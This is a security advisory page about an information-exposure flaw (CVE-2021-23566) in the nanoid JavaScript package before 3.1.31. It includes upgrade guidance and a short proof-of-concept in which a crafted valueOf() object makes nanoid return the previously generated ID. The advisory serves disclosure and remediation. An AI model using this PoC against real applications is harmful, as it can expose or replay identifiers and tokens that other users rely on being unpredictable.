Information Exposure Affecting nanoid package, versions >=3.0.0 <3.1.31
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (31st
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-NANOID-2332193
- published 12 Jan 2022
- disclosed 11 Jan 2022
- credit Artyom Arutyunyan
Introduced: 11 Jan 2022
CVE-2021-23566 Open this link in a new tabHow to fix?
Upgrade nanoid
to version 3.1.31 or higher.
Overview
Affected versions of this package are vulnerable to Information Exposure via the valueOf()
function which allows to reproduce the last id generated.
PoC
import { nanoid } from 'nanoid';
const makeProxyNumberToReproducePreviousID = () => {
let step = 0;
return {
valueOf() {
// // if (!pool || pool.length < bytes) {
if (step === 0) {
step++;
return 0;
}
// } else if (poolOffset + bytes > pool.length) {
if (step === 1) {
step++;
return -Infinity;
}
// poolOffset += bytes
if (step === 2) {
step++;
return 0;
}
return 21;
},
};
};
const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });
References
CVSS Scores
version 3.1